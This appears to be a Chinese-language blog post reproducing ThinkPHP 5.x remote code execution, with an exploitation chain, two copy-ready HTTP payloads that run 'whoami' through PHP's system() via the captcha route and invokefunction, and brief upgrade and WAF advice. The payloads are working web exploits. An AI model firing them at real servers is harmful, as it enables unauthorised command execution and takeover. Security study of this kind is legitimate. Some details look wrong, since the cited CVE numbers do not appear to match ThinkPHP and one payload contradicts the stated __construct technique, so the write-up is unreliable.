ThinkPHP 5.x RCE 复现(CVE-2018-2722/CVE-2019-2883):请求方式注入、__construct 注入、RCE 利用、防御加固。
写在前面:合法学习边界
ThinkPHP 攻击只在授权测试环境进行。
一、ThinkPHP RCE 利用链

1
| ① 发现 ThinkPHP → ② 确认版本 → ③ __construct 注入 → ④ 执行命令 → ⑤ RCE
|
二、漏洞信息
1
2
| CVE-2018-2722(5.0.x < 5.0.22):/index.php?s=captcha
CVE-2019-2883(5.1.x < 5.1.30):/index.php?s=/Index/\think\app/invokefunction
|
三、利用步骤
1
2
3
4
5
6
| # CVE-2018-2722
POST /index.php?s=captcha
_method=fetch&filter=system&server[REQUEST_URI]=whoami
# CVE-2019-2883
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami
|
四、防御加固
1
2
3
| 升级到 ThinkPHP 5.0.22+ / 5.1.31+
修改默认路由模式
WAF 拦截 invokefunction
|
五、小结
ThinkPHP 5.x 的 RCE 漏洞是 ThinkPHP 最经典的漏洞。升级到安全版本是唯一有效的防御。